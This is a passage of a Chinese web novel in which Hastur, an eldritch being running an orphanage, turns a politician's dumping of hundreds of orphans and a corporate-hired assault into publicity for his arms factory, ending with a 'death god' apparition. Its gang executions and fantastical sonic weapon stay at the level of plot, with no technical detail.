西蒙·里约长得其实不错,就是神情比较阴沉。所有清道夫中,他是唯一一个没有拖着麻袋的人。
他大步走过自动让道的人群,最终在珍妮面前停住,两个人都不怎么友善地对视了几秒,同时露出虚假微笑,张开手臂拥抱对方:“许久不见!朋友!”
“咔哒!”
宴厅里瞬间响起大片拔.枪声。
清道夫们端起的枪口冲着珍妮·斯坦,珍妮手下的枪口冲着西蒙·里约。
不需手下动手,这两位领袖自己也拔.出了枪,珍妮的枪口顶着西蒙·里约下颌,西蒙的枪抵着珍妮的心脏。
G8273补充讲解:“这两个人是老雷蒙德死后,最有可能成为二代头目的候选者,会针锋相对不奇怪。”
哈斯塔从未放弃鸡娃:“迪思默帮的二代头目会是芬尼安。”
“……”芬尼安只觉得自己是冤大头。
他还在怀疑院长的恋情到底是真是假,此时以批判怀疑的目光审视珍妮、西蒙针锋相对的这一幕,痛苦地发现自己已经被非人类搞得分辨不清“敌对”和“暗度陈仓”、“地下恋情”的区别……他甚至感觉珍妮和西蒙说不准正在当众调情!
芬尼安靠近哈斯塔,痛苦地询问:“你和G8273到底是真来还是在演戏?现在没人注意咱们,能不能给个真话?”
哈斯塔真不知道还有什么办法能令芬尼安相信:“真的。我们半个月前第一次睡——”
芬尼安出手如闪电,一把捂住哈斯塔毫无遮拦和人类羞耻心的嘴:“知道了!我知道了!你别说了。”
员工内心的崩溃和怀疑世界很难影响到哈斯塔,他还在密切关注这对拔.枪互指的竞争者:“如果迪思默帮里有人背着老雷蒙德和康内琉斯合作,你觉得更有可能是谁?”
“是谁都不意外。”G8273尝试着入侵脑芯,结果发现迪思默帮里绝大多数人似乎都是老雷蒙德的忠实拥趸,植入脑芯、义体的人少之又少,珍妮和西蒙这两个离老雷蒙德最近的人就更不用说了,“也可能两个都是,或者另有其人。”
“够了!”
一道威严的声音从宴厅深处传来。
老雷蒙德坐在电动轮椅上,驱使轮椅缓缓驶向宴厅:“我可不希望今年的助兴节目,从我的继任人身上开始。”
芬尼安趁着宴厅重新热闹起来吹了声口哨:“老雷蒙德一句话,今晚这两个人估计都得失眠了——辗转反复地想:继任人到底是谁?”
哈斯塔不太看帮派题材的电影,主要也因为现实里早已没有帮派:“故意挑起继任人之间的矛盾?这样有什么好处?”
所有人都放下了手枪。
珍妮重新站到老雷蒙德身后接手轮椅,西蒙则转回身带领下属,将要行刑的对象拖上原本供乐团演奏的舞台。
芬尼安借着香槟杯遮挡口型:“好处可太大了。”
“你想象一下,如果老雷蒙德现在硬压着他们不让干架,等他一去世,这俩人会怎样?”
“那不得打到你死我活?到时候迪思默帮乱成一团,还有什么未来可言?”
所以老雷蒙德肯定得趁自己还没死,让继任者赶紧斗完,然后收拾好烂摊子,再进坟墓。
哈斯塔:“……”
听一听就充满了社畜的绝望,人都要死了,还得考虑工作交接完没完成。
他还没忘记自己的鸡娃计划,一边注视清道夫们扯开麻袋,一边琢磨还能从什么角度劝说芬尼安。
眼神乱晃的过程中,忽然注意到某个如果不费心深究,无人会在意的巧合:
“芬尼安。你有没有觉得,老雷蒙德的眼睛和你很像?”
“?”G8273的注意力也被拽了过来,“如果摒除掉眼疾的病变影响,的确是很相近的眸色,但这种眸色并不罕见,也许只是巧合——”
“胡斯卢也有一双这样的眼睛。”
哈斯塔隐约捕捉到些许灵光,但又说不清是什么:“——算了,先看‘表演’。”
哈斯塔对于发生在迪思默帮晚宴上的处刑和篡权活动十分期待——同样是基于他没看过帮派题材的电影。
然而接下来的行刑过程,其枯燥无聊程度远超哈斯塔的想象。
哈斯塔发誓,即便现实有此类题材的电影,他也不可能为看西蒙挨个枪.毙叛徒而走进电影院,花上哪怕半个子。
接连十分钟的处刑甚至让西蒙的右手在终于放下时微微痉挛颤抖,珍妮这会儿又友爱上了,上前真挚又心疼地捧起西蒙的手摸了摸:
“看来这后坐力是够让你受的……不如这样如何?西蒙?下次行刑,我来替你做。”
“……”西蒙瞬间抽回了手,阴鹜地瞪视珍妮,没等老雷蒙德发话,转身就走。
被他抛在身后的清道夫们还无措了一下,大概没想到大老远跑来,老大却连酒都懒得喝一口——不过以他们老大双手现在的情况,端酒杯的确也是个艰难的活。
清道夫们很快跟着老大离开宴厅,珍妮则像林间的鹿一样又轻盈地拎着裙摆,飘了过来:“真是不争气的大哥……嗯,你们没事了?”
就像哈斯塔对毫无精彩可言的处刑大感失望一样,珍妮也对折回来吃瓜结果没找到瓜大感失望。
她像空田地里的猹,没找到粮食还不甘心接受,非得伸爪自己扒拉扒拉,试图从土里扒拉出点能吃的来:“所以……你们决定好谁做哈利先生的男伴了?”
“……”哈斯塔感觉珍妮像那种刚从无聊电影放映厅出来,又冲去柜台积极询问售卖员“有没有爆米花电影冲一冲晦气”的观影人。
·
没看到什么好戏的哈斯塔当然不会愿意充当别人眼里的戏,和珍妮打了会太极,就借故离开已经没什么干货可嚼的晚宴,只留下芬尼安继续跟珍妮客套。
按照任务详情的提示来看,芬尼安可能还得在缄默镇继续待一段时间,和迪思默帮保持紧密的联系,借此摸一摸任务提示里“犹大”的线索。
但孤儿院这边,军火生产倒是可以开启起来了——
哈斯塔将孤儿院的地下又扩建了两层。
总计三层、每层又可分出三层的面积足以让军火工厂在孤儿院内部顺利开办。
阿道夫因此忙碌起来,哈斯塔一时也说不准这种忙碌对阿道夫来说是好是坏,因为手机里的阿道夫小人儿还是顶着片颓废的乌云来去匆匆。
只有学员们感到压力山大,因为教官越来越魔鬼的训练……
而在高佩街的政府大厦里。
也有一帮人同样感到压力山大。
莫提默爵士的办公室内,一群议员、参谋正在紧密关注网络上关于“死神在人间”的评论。
“这会是真的吗?爵士?”有人咽了口口水,明显带着恐惧问,“如果那个‘黄袍怪物’真是死神,祂会不会因为我们找那个叫达斯汀的副署长的茬而报复?”
在场的很多人都怀抱着同样的恐惧。其中一人战战兢兢地附和道:“之前派去跟卢西亚诺谈判的布莱克先生……谈判回来人就不行了,前天才因病去世。”
“认真的?”莫提默爵士无语地扫视同僚们,感到荒谬可笑,“我们自己利用‘黄袍怪物’的谣言恐吓人也就算了,你们居然还真相信这种谣言会是真的?”
“谁能拿出物证?那些叫嚷着什么哈斯塔、拜亚基的人,只会空口无凭。那帮子信徒送来的监控上明明白白地显示,他们是由小型飞行运输器送回家的,科学得很。”
他嗤笑一声,显然丝毫没为自己党羽之死感到遗憾:“至于布莱克的病逝,巧合罢了。比起穿着黄袍的死神,我更觉得会去迎接他灵魂的应该是撒旦,或者地狱,或者其他什么恶魔。就和我们死后一样。”
同僚们:“……”
莫提默爵士显然没在意到——或者根本不在意他的同僚们是否因为他的话,更加心生戚戚。他在办公桌后坐下:
“现在我们更应该考虑另一件事——虽然罗南才是在之前的逮捕事件中当着全网的面丢脸的那个,但她当时的处理恰到好处,现在那起事件甚至成了她面对媒体的谈资!”
“那些网友根本不在乎我们抛出的各项更有益民生的政策,比如加强军队建设、增强地方治安监督、严格管控黑市黑医等非法市场,他们更想听罗南大谈特谈根本不实际的童话故事!”
负责宣传的幕僚挠了挠鼻翼,心想换他也更想听死神的故事,毕竟那些“更有益民生的政策”每轮选举的时候都会被拿出来老生常谈,但事实上能落实的寥寥无几,更准确地说约等于零:
“的确,我们得想点办法应对您老对手近期的宣传策略。”
莫提默爵士比幕僚更直白:“你有办法搞臭那个‘宣传策略’?”
幕僚震惊摇头:“不不,我们是遵守法律并且有道德的人,绝对不会做抹黑这种卑劣的行为。事实上,我是想提出一个非常令人担忧的问题——爵士先生,您知道目前各地有多少孤儿都得不到妥善安置吗?”
莫提默爵士:“……?”
他知道那玩意儿干嘛,孤儿又不会支持他的选举,也没人会在意那些非亲非故的拖油瓶。
他的幕僚显然也没对莫提默爵士的良心抱有期望:
“绝大多数地区的孤儿院都条件简陋,一些孤儿至今都没有收容处可去,还有一些孤儿天生残疾,或者疾病缠身,或者有各种各样的原因,迫使他们的父母不得不遗弃他们……”
“如果有一处条件足够优渥,能让他们吃好穿好,甚至接受优质治疗的孤儿院愿意接收他们,那就再好不过了,不是吗?”
“……”莫提默爵士听懂了,“你想用那些拖油瓶拖垮孤儿院?哦,这是个好办法。”
他想着想着高兴起来:“我猜即便是卢西亚诺·哈代,也不会乐意白掏出那么大一笔钱养育那些小拖油瓶。即便他愿意,一时间又上哪去找那么多抚养孩子的人手呢?我们照样还是能从孤儿院身上揪出把柄。”
莫提默爵士拍案定论:“就这么做,我愿意私人出资,承担孤儿的运送费用!”
…………
一周后。
孤儿院内。
哈斯塔正在听阿尔法的汇报——是的,阿尔法的汇报。
你不能让孩子工作,但你没法阻止孩子非要工作。
阿尔法一感到无聊就会跑去确认阿道夫死没死、想不想死,一来二去总会接触到一些信息,而以她的小脑瓜,“一些信息”基本等于“全部信息”:
“院长,我们的军火想打开市场,必须要拥有一次宣传机会。不然没人会放弃跟公司签订的军火订单,转而来买我们的。我们就永远没法打开被公司全盘占据的军火市场。”
“……”哈斯塔看着小孩姐,压力有点大,主要是阿尔法说话的语气有时候像极了老板,内容更像,令他油然而生一种“我在游戏里加班”的错觉:
“怎么宣传?军火又不是香水首饰,好看贵重就够了。买家会希望看到它们实战的结果。”
他总不能去制造战争吧?达斯汀会被气死的。
硬打广告倒也不是不可以。但说实话,他最近手头的资金都投入到了军火工厂的建设中,暂时没有闲钱出资宣传。
他总不能指望电视媒体自己送上门提供帮助——
手机忽然响了起来,哈斯塔扫了眼过去:“?罗伯特先生?那个政府官员?”
怎么这种时候给他打电话,他记得公务员好像不会加班?
哈斯塔带着困惑接起手机,就听罗伯特以略显急促的语速低声道:
“院长先生,我必须得告诉你一个我们才发现的事情——莫提默爵士前些时日派遣幕僚暗地走访各地的孤儿院、包括流浪的孤儿,现在共有七辆满载着孤儿的大巴正向您的孤儿院驶来!”
哈斯塔:“……??”
七辆满载着……什么?
罗伯特:“——还有一大帮记者,他们都急切地想要全程追踪报道,您接收这一大批孤儿的过程。”
哈斯塔震惊的心理又被惊喜所替代:噢,送上门的电视媒体!
但那也不行啊,他总不能对着孤儿们使用军火,宣传效果吧?
而且这么多孤儿,谁来照顾?原本孤儿院内的学员,已经分了一半去美食街,一半去军火工厂,他哪来的更多人手?
另一个通话插.入进来,哈斯塔扫了眼达斯汀的来电提醒,划开接通:“喂?”
达斯汀焦虑的声音从话筒另一端钻出来:“一个坏消息!”
“大概是G8273最近对付米迦勒之翼太狠了,导致集团损失了大笔利益,集团高层一怒之下雇佣了大批流浪者团体,准备袭击孤儿院——如果我的人没估错时间,那些敌人应该很快就会抵达孤儿院!”
哈斯塔:“?”
等等?
如果他没理解错,现在他是不是……媒体、实战机会、白送上门的人手都凑齐了?
哈斯塔高兴地换了个手拿手机:“好极了,那坏消息是什么?”
达斯汀:“……??”
第45章 第 45 章 真的存在死神!
谁能想到到处树敌竟还能有意外之喜。
哈斯塔认为这都是他认真发展支线换来的应得回报:“还有谁要来?”
达斯汀被哈斯塔的乐观态度弄懵了:“好、好像还有政府军……?等等, 院长你应该不是怒极反笑,准备大开杀戒吧??”
哈斯塔:“为什么?我为什么要生气?”
政府军也要来掺和一脚——还能有比这更好的消息吗?消费群体直接抵达现场,近距离观看实战演习。
他迎来哪里是什么“坏消息”, 根本就是个派对邀请!
达斯汀:“……?”
坏了,院长该不会是气疯了?
·
晚10点。
吉姆坐在老旧的吉普车副驾上, 不安地揉着相机的挂绳, 一边环顾周围和他们目的相同的同行车辆,一边询问正在开车的报社前辈:“我们应该做这场跟踪采访吗?乔纳森先生?”
他感受到良心上的不安:“我不觉得这能真的解决孤儿们的困境。莫提默爵士明显在故意给那家哈利孤儿院出难题,谁都能看出来这是一场复仇。”
“谁做院长会乐意莫名其妙地被塞来几百号孤儿?我看只有耶稣本尊才会接受这种无底线的挑衅。”
“莫提默根本就只想着打击政敌,根本没考虑过这些孤儿最后何去何从——难道要再开着7辆巴士把他们送回原处?”
乔纳森闻言咬着烟哂笑:“哦,别傻了。我不认为那位爵士还会自掏腰包把这些孩子送回去。谁都知道那位爵士有多抠门。”
他耸耸肩:“但往好处想想吧吉姆, 至少这件事和社会目前关注的热点相关, 咱们绝对能获得一份好业绩。”
“——又或者,你可以现在就下车?然后自己回去跟愤怒的主编解释,你为什么不愿意替他完成他和爵士的交易?”
——那我绝对会被炒鱿鱼的!吉姆被迫消声了, 僵持几秒后,沮丧地瘫靠回椅背。
当明知旅途的终点会有糟糕且残酷的现实在等待自己时,走向终点的过程, 就变得像死刑犯走向死刑场一样痛苦折磨。
期间, 吉姆好几次有开口叫停车辆的冲动, 也动过干脆辞职的念头——但别傻了, 这年头能找到一份工作多不容易?人活着是需要钱的。
他仿佛能感觉残酷的现实正像死神一样, 逼近他心中脆弱得像兔子的良知,有那么一刻他甚至在想:
——如果网络上的传言是真的就好了。
如果面前这座哈利孤儿院,真的笼罩在死神的衣袍庇护下;如果莫提默爵士会因为恐惧而不敢招惹孤儿院,也许他就不必再被迫面对前方等待他的残酷……
吉普车一个急刹停下。
他的肩膀被亚瑟催促地拍打,他听见前方同行们咔嚓按动的快门声汇聚成海, 有人在高喊:“院长先生!您是院长先……呃……”
“哒哒哒哒……”整齐划一的脚步声从前方传来。
吉姆终于忍不住好奇,推门下车,踮脚将视线投向人前,就见一支将近五十人的队列正站着笔挺肃冷的军姿,将试图挤向前方,最好能破门而入的记者挡得严严实实。
唯一被准许进入的,只有那7辆巴士,但就连巴士司机也因为这阵仗变得迟疑了,车开得比走还慢。
乔纳森拽着他一路挤向前,不想丢掉工作给予记者们勇气,很快大家又吵嚷起来:
“你们是什么人?军区还是政府派来的?还是退伍士兵?为什么会出现在孤儿院?”
“院长呢!为什么不让我们进门采访?我们想知道他是否会接收这批孤儿!”
“请问孤儿院出现这么多士兵合适吗?院长在孤儿院内蓄养军队有何企图?”
为首的“士兵”看傻瓜似的瞥来视线,随后冷声回复:
“什么士兵?我们是保安。”
“院长钱多没处花,想雇一个团的保安守护孤儿院,免得有人老惦记来找事,有问题?”
众记者:“……”
啊这。
现场陷入短暂的尴尬沉默,但一些正直播的频道内,评论早刷疯了:
【哈哈哈哈熟悉的财大气粗!上一次我就想说了,这孤儿院院长来历不简单啊!看看这腊梅,这钟塔,这私人琥珀……我怀疑这孤儿院根本就是哪个阔佬拿自己的私人别墅改建的。】
【保安:别逼逼了,我救你命呢晓得不?这万一放进去撞断哪截树枝,你房贷还还不?】
【可不?我有内部消息,他们这公共浴室里还有泳池!超豪华带推浪泳池!】
【??我愤怒了,建议孤儿院扩招,让我住进去。】
【不是,我觉得这些人不像保镖啊,我服过役的,你们看他们的站姿!互相之间的距离!观察人群的方式!我敢断定,他们不光服过役,而且还进的是特殊部队。】
【别说,你还真别说,上次直播到现在,过了有一个月没有?孤儿院又遇到来找茬的了,而且声势比上次还浩大……得亏院长雇了个保镖团。】
【等等,你们光顾着舔土豪,没人在意那些孤儿到底怎么办吗?】
记者们同样感觉自己抓到了突破口:“请不要避重就轻!请问贵院院长到底打算如何对待这些婴儿?”
数大区之外,某私人会所。
莫提默点着雪茄,几乎躺靠在沙发上,露着鲨鱼一样的笑欣赏平台直播:
“看着吧,我就不信这院长能一口气吞下几百号拖油瓶!等他一拒绝,舆论必然会让孤儿院名声扫地,然后牵连到那个什么达斯汀署长,再牵连到罗南……”
莫提默几乎要陷入到自己的美梦中了,他惬意地闭上双眼,享受脑海中击溃对手的画面——
电脑:“当然是全部接收。我刚刚才说了,院长钱多得没处花,你是不是短时记忆方面存在问题?”
“——???”莫提默刚闭上没几秒的眼睛猛然瞠大,匪夷所思地瞪向屏幕。
画面里的保安还在和记者唇枪舌战,一旁的评论区则再次刷成一片海洋:
【???我大概是听错了,不然怎么可能听见这个保安说,院长准备把这7大巴士的孤儿全收了??】
【上帝!在保安回答之前,我一直以为院长一定会拒绝!我的意思是——这不仅仅是招收孤儿、有没有资金的问题不是吗?所有人都知道这是……咳咳在刻意为难!但院长居然就这么接下了?】
【我刚刚还在跟我父母说,‘除非是耶稣在世,不然谁都不可能接下这个烫手山芋,忍这口气’……现在看来院长先生的确是耶稣在世?】
【即便他不是,此时他在我心中的重量也与上帝所差无几了!天啊……想想看!这些可怜的孤儿要有家了!!而且还是在我们都住不起的地……呃,方……虽然承认这个事实让我很挫败,但我依旧为这些孤儿高兴!我真不敢想象,如果院长先生拒绝接收,这些残疾重病的孩子会流落到哪里……】
【莫提默[狗屎][狗屎]院长先生[拇指][拇指]】
“这、这群……”莫提默看着越发肆无忌惮的弹幕简直气得发抖,“该死!我们的人呢?!让他们进去拿孤儿院的资质做文章!”
幕僚尴尬地汇报:“我们的人还在努力往前挤,记者好像请得有点太多了……”
谁能想到啊,请来的帮手反而成了砸自己脚的石头。
但他们此时心态还不算非常崩,更重磅的打击还在后头——
孤儿院内。
哈斯塔坐在办公室内猛催达斯汀:“幼崽们已经进门了,流浪者团体怎么还不来?”
他的空手套白狼计划要想完成,前后两拨人隔的时间就不能太远。如果不是全程白嫖,他都要开始蛐蛐了:
这些流浪者团队到底行不行??米迦勒之翼到底怎么挑的人,米迦勒之翼到底行不行??
无独有偶,和哈斯塔抱有同样心理的还有米迦勒之翼的高层们。
“雇佣流浪者团体袭击孤儿院”显然不适合在公司内谈论,他们只能在一间隐蔽性极高的私人会所内碰头,挤在一间不算宽敞的套房内打开电脑。
负责牵头这件事的代表清清嗓子:“我特别叮嘱‘罗宾鸟’的头领与我们共享他的视角。所以我们现在应该能看到他们轰炸孤儿院的……为什么有这么多记者?!?”
做贼总会心虚,就像此时的集团高层们,即便记者的长枪短炮根本没对准流浪者团体,他们依旧第一时间心里一咯噔:
糟了,该不会是孤儿院早早发现了他们的阴谋,特意找的媒体打算揭穿他们吧??
代表身边的高层差点被烟呛咳:“快——快让他们撤退!我们要打的是闪电战,不能像现在这样——所有行动都曝光在镜头下,如果有人调查流浪者团体的来历怎么办??查到是我们雇佣的怎么办??”
代表手忙脚乱地摸出手机拨打电话,可惜记者们太吵了——他的合作者哪里会注意到手机的铃声?
在高层们失态或惊恐抗拒的低喝声中,他们被迫跟随着罗宾鸟头领的视角,看着头领干脆利落地上膛、瞄准、射击——
【滋——】
电脑屏幕一花,瞬间发出令众人耳膜刺痛的尖锐响声。
等他们从痛苦中恢复过来,再看屏幕——
“?怎么黑屏了??”代表一把抓住电脑,就差把它当什么抽奖机摇一摇。
“等等,我找到在现场的记者的直播了!”旁边有人高呼起来,将手机中的画面投放至空中。
因为是直播,他们显然没法再回看刚刚到底发生了什么。
但没关系,视频不能回放,但是记者可以再次描述。
只见画面中的记者举着话筒,面对镜头,神色略显激动:“皮特!皮特!演播厅有没有接收到刚刚的画面?真是太不可思议了!我甚至还没反应过来发生了什么——嘿朋友,你看见刚刚的全过程了吗?”
被他拦住的紫发小姑娘顶着一双死鱼眼,身上穿着灰绿色的保安服,显然是孤儿院的一员。
她右手带着一只黑色的半截手套,此时不耐烦地扯着吹破的口香糖泡泡:“看见?刚刚就是我把那群端着枪的家伙震晕的。”
“震晕?”记者抢在同行之前将话筒怼到小姑娘面前,“你是说气功之类的吗?我看见你明明站在人群的这边,但是一抬手掌,人群那边的敌人却全部倒下了!全部!”
记者没忍住吊高嗓门:“温特!抬高镜头!让大家看看被‘震晕’的敌人!”
直播画面顿时升高,越过少说十米长的人群,记录下远方上百人安静扑街的奇景。
短短几秒的画面,足以让人感受到信息量的冲击,镜头又迫不及待地回到紫发姑娘身上,记者再次激动地提问:“是怎么做到的?魔法?气功?哦,会不会和最近网上传得很火的死神有关!你借助了祂的神力!”
“……”紫发小姑娘看人的眼神像在看白痴,“不,这就是我们院长发掘的新副业的副产品。没法量化生产,但的确能够控制距离、威力的声波武器。”
紫发保安警惕地看着记者,显然对从事这类职业的人毫无信任:
“事先说明,这个武器和市面上的其他声波武器不同,它不会对人的器官乃至神经造成任何损伤,只会将人击晕。”
集团代表眼看着画面旁的弹幕疯狂滚动起来:
【科普一下,目前市面上流动的,所谓‘能令人晕厥的声波武器’,其实都是不达标的,因为还没人能制造出仅致晕,但不损害人体的声波武器。
如果这个保安说的是真的……草啊,这位院长到底什么背景?发掘个新副业,整出个副产品,就能突破军用科技的瓶颈?】
【?但她刚刚好像就是抬了下手……等等,那个‘武器’,该不会就是她手上这个半截手套吧?!】
【肯定是的!我刚刚注意看了!那手套的掌心中央有一个银灰色的光圈,我没来得及细看她的手又垂下去了!】
【嘶……听起来,好像是很不错的自卫武器?】
【别想了,没听她说吗?没法量化生产。】
【不能量产没关系啊,这么便利的武器人人都有还得了?反正也没有伤害,到时候大家就见面你招呼我我招呼你,还乱套了呢。
比起个人私有,政府军呢??政府军快出来!!半个月前你们不还因为‘没有足以支付敌人、但又不伤害敌人’的武器,导致误伤了好多被卷入恐怖.袭击的平民吗?快来看看啊!】
集团代表快吐血了:“到底……谁找的记者??”
他爹的,他们花大价钱雇佣流浪者团体,难道是为了给孤儿院研发的新武器当靶子的吗?现在网上一堆舆论吵着要政府军来下订单了!他们砸钱,难道是为了替孤儿院做广告的吗??
就是有这么巧,在集团高层们的房间隔壁,莫提默爵士也正和自己的幕僚们大动肝火:
“到底谁雇佣的人来搞袭击!?把我出钱疏通关系请来的记者当什么了!免费的广告平台吗??”
他用力狂戳电脑屏幕:“看看,看看!这些蠢货居然还一边骂我,一边催促我给敌人送钱!呸,我绝不可能找孤儿院下任何订单!”
两间套房之间。
1102号房内,G8273正以一种松弛懒散的姿势坐在窗台边的沙发上。他的对面,罗南议员和罗伯特同样也在关注某个直播频道。
罗南议员看着直播和舆论饶有兴致:
“如果那款声波武器,的确如这个紫发小姑娘所说,能够在不伤害人体的前提下,将人致晕,那我的确应该考虑为政府军配备几套。你觉得呢?加百列?”
非工作的场合,谈论一些八卦更容易拉近与潜在合作者的关系。
罗南议员目标明确,她今晚就是为了能够拉动巴比伦公司的支持而约见G8273的:
“我记得这家孤儿院的院长似乎和小哈代先生关系匪浅?”
——天地良心,罗南女士说的“关系匪浅”,就是单纯的友情。
但G8273才经历过晚宴被抢男伴事件,敏感的神经顿时被拨动:“什么?不。他是我的恋人。”
纳西尔刚进门迎头就劈来这么一段对话,直把他劈呆了:“谁?谁是谁的恋人??”
罗南女士的神情同样震惊:“请等一下,如果我听到的消息准确,孤儿院的那位哈利院长,好像和兰瑟·文森特先生是一对?”
“……”G8273一阵胸闷,“但兰瑟·文森特已经死于药物滥用了。”
“但他才去世不到半个月??”
纳西尔手上还端着想给两人带的糕点呢,此时已经完全忘了,手上捧着糕点下意识地就近坐下,“上帝,一般来说我是不介意……感情变动的,但小文森特先生不管怎么说都是我的熟人,我必须得说一句,你们这样真是有点不道德了!”
小文森特先生本人:“……”
马甲真的不能乱开,谁也不知道当初的便利是否会变成日后的回旋镖。
G8273只能面无表情地瞎扯:“是他先横刀夺爱的。我和哈……利很早就在一起。”
纳西尔刚纳闷地想说“你确定?那位院长可一点不像能被‘夺’的样子”,罗南女士忽地倒吸一口气,不由自主地低呼:“——所以那个传言是真的?”
“?”G8273和纳西尔同时回头,心想又有什么传言了?
罗南女士低声说:“就是从迪思默帮那里传来的风声?说小哈代先生也曾试图插足你们之间的感情,之前的晚宴上,小哈代先生甚至带着那位院长一同出席,还是你亲自跑过去把人抢回来的!”
纳西尔嘴巴张得更大了:“什么??你那时候想邀请但被拒绝的男伴——就是那位院长??”
乱,真是太乱了!
谁能想到刚开头,罗南女士只是想牵个头好接着说正经事,没想到却像小猫捞毛线,牵起一根线头,扯出一堆乱麻。
罗南女士感觉自己未来一个月,都能靠这精彩纷呈的四角恋关系排遣工作的无聊:
“所以,那位院长先生到底是什么来历?我想他能和你、小哈代先生、小文森特先生同时扯上关系,身份一定同样显赫。”
G8273:“……”一段简短的两人……两非人关系,怎么能出现这么多人的身影,“恕我无法直言,如果你一定要问,那我只能告诉,他的身份是个不可言说的秘密。”
G8273阐述的是非科学层面的事实,但罗南女士显然只能从科学层面理解:
没想到这位院长先生的身份如此了不得,那或许她真该考虑,借由政府军的名义和这位院长先生达成合作?
这样一来,政府军的军备能够得到充实,她又能打好与院长先生的关系。这牵出藤蔓连着根的,她还能同时得到小哈代和加百列的支持……不能说稳赚不赔,只能说赢麻了!
罗南立即抬手,让罗伯特替她拨通了院长先生的电话。
凤凰区,孤儿院内。
哈斯塔低头看了眼震了一下的手机,屏幕上显示来自G8273的短信:【1】
简短但足够表达清楚其中含义:罗南议员的劝诱工作已经完成。
哈斯塔原本还有点敲边鼓的心顿时稳当下来,等待数秒,听见手机铃声响起:“你好?哦,罗南女士?真没想到你会在这种时候打来电话。”
“非常抱歉,我知道你现在需要安顿孤儿,一定很忙。但我在直播上看见那只神奇的手套,非常想知道有没有可能,我可以为政府军购置几套?”
罗南女士顿了一下,相当上道地提出:“如果价格合适,我也希望能和你签订其他特殊武器的供给订单,尽快。”
政客们都是饥肠辘辘的鬣狗,闻到利益的香气就会蜂拥而至。
罗南可不希望孤儿院这条路子被别的竞争对手捷足先登。
哈斯塔假意为难了几句,很快在罗南女士的反复要求下,将工厂内所有能立即供给的军火、以及准备研发的军火清单发送过去,在半分钟后得到罗南女士的回复:
“很好。十分钟,十分钟后您将收到一份合同。希望您满意合同上给出的价位,一旦签订,我方会在五分钟内将定金打入您提供的账户,期待这次合作能够顺利。”
哈斯塔满意地挂断电话,等定金的当口,就见小孩姐一脸沉吟地从他眼皮子底下走开:
“十分钟就能敲定政府军的战备购置,五分钟就能打来定金……看来罗南在政府把控的权利不小。”
哈斯塔:“……”
是错觉吗,阿尔法越发地像老板了。
他汗毛直竖地等到定金到账,立即打开建筑面板。
首先将二楼分隔成三层,每层层高2.8米。随后将宿舍男女分区安排,每一层都建好公共卫浴。8人间的宿舍足以让这一波孩子姑且得到安置,等尾款到手再考虑扩建。
系统无比高效地替他将365个孩童录入名词,分拨入适合的宿舍。他无比舒爽地点击确定,完成这一整套空手套白狼的流程——
“轰……”
脚下的大地忽然微微震颤起来。
哈斯塔刚警惕地想该不会自己才签了订单,军火工厂就发生爆炸了吧?久未出现的系统冷不丁地叮铃铃响成一串:
【您的[哈利孤儿院]已升级!目前评级:P】(注1)
【您的[哈利孤儿院]已升级!目前评级:A】
【您的[哈利孤儿院]已升级!目前评级:E】
【已获得特殊场地效果:[卡尔克萨的阳面]】
【详细描述:如果你凝视孤儿院够久,或许将能看见那座失落已久的亡者之城。】
视野右侧,大片白色字幕迅速刷上去,哈斯塔紧盯着那个特殊场地效果,心脏沉重而有力地快速搏动起来。
理智在分析:这或许是游戏的一种无形的敦促。想要用“看见卡尔克萨”来吸引他追逐真正的卡尔克萨——为此加快完成任务。
感性却让他不受控制地不断吞咽唾液,手心不知何时渗出冷汗。
时间还在继续往前走,保安们仍在忙忙碌碌着帮忙护送孤儿。
某一刻,他忽然听见有尖叫声从孤儿院门口的方向传来,紧跟着掀起一片惊呼:
“那个孩子!那个孩子身上在掉腐肉!!”
“啊!!!我的手!我的手!”
“别碰那些身上有腐肉的孩子!!他们身上肯定有某种传染性极强的病毒!!”
哈斯塔倏然抬首。
没人预料到会发生这种意外,哈斯塔没想到,远在高佩街的莫提默爵士、集团高层们、罗南等人也都没想到。
米迦勒之翼制药公司的代表甚至看着屏幕露出困惑且惊喜的神情:“是谁留的后手?干得真是干净利落!我确定没在集团里见过这种病毒,所以绝对不会查到我们身……上……”
代表的话越说越慢,他呆呆地看着屏幕:“上帝啊,那是什么?那些从孤儿院地下浮上来的黑色建筑?”
这一刻,通过双眼、通过转播镜头,难以计数的人同时亲眼目睹了卡尔克萨的倒影,缓缓从孤儿院的地下升上人间。
倏然间,从天际垂下一柄巨大的镰刃。
其之巨硕,以天地之广袤,竟也只足以让它展露出深褐色的锋锐刃部,看不见镰刀的刀柄。
死亡。
死神的镰刃。
是对这些概念由来已久的恐惧,令目睹这一切的每一个人都不自知地停止了呼吸,瞠大眼睛注视这一神迹。
莫提默爵士刚站起来,又一屁股跌坐回沙发,不敢置信又无法否认地看着屏幕喃喃:“天啊……是真的……死神……真的存在死神!”
第46章 第 46 章 吃醋的人不想被误会。……
相同的恐惧和敬畏, 同样充斥在米迦勒之翼高层们、罗南议员和罗伯特,以及无数正在观看直播的观众心中。
评论区仿佛被时停了似的,不再蹦出任何新评论。
画面镜头不断抖动, 因为扛着镜头的摄影师在无法自控地颤抖。
所有人中,可能也就只有G8273还能坐得稳如泰山。他甚至还饶有兴致地换了个坐姿, 右手半支着额头, 注视着屏幕好奇哈斯塔打算如何解决眼前的困境。
——是的,解决困境。
镜头里傻眼的记者、孩子们,没有一个出现流血或畸形的迹象,眼前这声势浩大的场面显然不是哈斯塔暴走造成的,只可能是游戏的手笔。
而看哈斯塔的行动, 他似乎已经有解决的方案了?是想要趁机利用这场面做点什么?
假如罗南议员此时能够活动僵硬的脖颈, 转头回看身边的合作者,就会发现对方正以一种欣赏绝无仅有的艺术品的惊叹和入迷、看到小猫咬尾巴尖似的柔软和愉悦,目不转睛地盯视任何正常人都会觉得恐怖且悚然的直播画面。
世上恐怕不会再有第二个人, 能拥有和G8273一样的视角:
他看着哈斯塔兑行计划,欣赏到的却是互相矛盾的混乱与秩序,共同交织出的无可复制的巧合与奇迹。
他看到那柄垂天的巨大镰刃, 想起的却是黑暗中那些欢愉与汗水。
他曾在月光下亲吻那些精神触须灵活的尾梢, 知道这些触须尖在情动时会如何缠绕扭动得像蛇尾, 在敌对绷紧时又会如何坚不可摧, 变成一把把足以削铁如泥的死亡镰刃。
这就让屏幕中的画面变得宏伟又可爱了——只要想想众人正恐惧着的这把“死神镰刃”, 其实是哈斯塔小心翼翼戳下的一条触须尖尖。
事实也的确如此——
在卡尔克萨的影子从地下升起的那一刻,哈斯塔眼前就冷不丁蹦出一个居中的半透明弹窗:
【信仰:35%(无数人亲眼见证您的示现,但不是所有人都胆敢信奉死亡与邪神。庆幸这个世界的疯子或疯子预备役还不算太多)】
